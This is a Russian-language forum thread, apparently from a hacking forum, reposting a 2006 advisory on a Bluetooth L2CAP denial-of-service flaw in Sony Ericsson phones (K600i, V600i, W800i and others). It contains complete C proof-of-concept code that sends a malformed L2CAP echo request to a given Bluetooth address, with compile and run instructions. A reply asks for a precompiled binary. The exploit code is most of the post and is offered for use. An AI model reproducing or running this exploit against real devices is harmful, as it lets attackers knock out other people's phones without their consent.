• XSS.stack #1 – первый литературный журнал от юзеров форума

Sony Ericsson Bluetooth - DoS exploit

Ŧ1LAN

CPU register
Пользователь
Регистрация
19.12.2005
Сообщения
1 057
Решения
1
Реакции
6
Отказ в обслуживании в телефонах Sony Ericsson
sony-ericsson-W800i.jpg

Программа:
Sony Ericsson K600i
Sony Ericsson V600i
Sony Ericsson T68i
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании.

Уязвимость существует при обработке уровня L2CAP (Logical Link Control and Adaptation Layer Protocol) в файле "l2cap.c". Удаленный пользователь может послать L2CAP пакет, содержащий специально сформированный заголовок, посредством Bluetooth соединения и вызвать отказ в обслуживании приложения.

Эксплоит:
Код:
/* Sony/Ericsson reset display - PoC */ 
/* Pierre BETOUIN - pierre.betouin@infratech.fr */ 
/* 05-02-2006 */ 
/* Vulnerability found using BSS fuzzer : */ 
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */ 
/* */ 
/* Causes anormal behaviours on some Sony/Ericsson */ 
/* cell phones */ 
/* Vulnerable tested devices : */ 
/* - K600i */ 
/* - V600i */ 
/* - K750i */ 
/* - W800i */ 
/* - And maybe other ones... */ 
/* */ 
/* Vulnerable devices will slowly turn their screen into */ 
/* black and then display a white screen. */ 
/* After a short period (~45sec), they will go back to */ 
/* their normal behaviour */ 
/* */ 
/* gcc -lbluetooth reset_display_sonyericsson.c */ 
/* -o reset_display_sonyericsson */ 
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <bluetooth/bluetooth.h> 
#include <bluetooth/hci.h> 
#include <bluetooth/l2cap.h> 

#define SIZE 4 
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header) 

int main(int argc, char **argv) 
{ 
char *buffer; 
l2cap_cmd_hdr *cmd; 
struct sockaddr_l2 addr; 
int sock, sent, i; 

if(argc < 2) 
{ 
fprintf(stderr, "%s <btaddr>\n", argv[0]); 
exit(EXIT_FAILURE); 
} 

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) 
{ 
perror("socket"); 
exit(EXIT_FAILURE); 
} 

memset(&addr, 0, sizeof(addr)); 
addr.l2_family = AF_BLUETOOTH; 

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) 
{ 
perror("bind"); 
exit(EXIT_FAILURE); 
} 

str2ba(argv[1], &addr.l2_bdaddr); 

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) 
{ 
perror("connect"); 
exit(EXIT_FAILURE); 
} 

if(!(buffer = (char *) malloc ((int) SIZE + 1))) 
{ 
perror("malloc"); 
exit(EXIT_FAILURE); 
} 

memset(buffer, 90, SIZE); 

cmd = (l2cap_cmd_hdr *) buffer; 
cmd->code = L2CAP_ECHO_REQ; 
cmd->ident = 1; 
cmd->len = FAKE_SIZE; 

if( (sent=send(sock, buffer, SIZE, 0)) >= 0) 
{ 
printf("L2CAP packet sent (%d)\n", sent); 
} 

printf("Buffer:\t"); 
for(i=0; i<sent; i++) 
printf("%.2X ", (unsigned char) buffer[i]); 
printf("\n"); 

free(buffer); 
close(sock); 
return EXIT_SUCCESS; 
}

Решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: производитель
Источник: http://www.secuobs.com/news/05022006-bluetooth6.shtml
 
мои ламерские руки и мозг снова нервно курят... блина, не компилиться он у меня, поделитесь готовым ась :baby: вроде всё есть, библиотеку прикрутил, а ошибки лезут :(
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх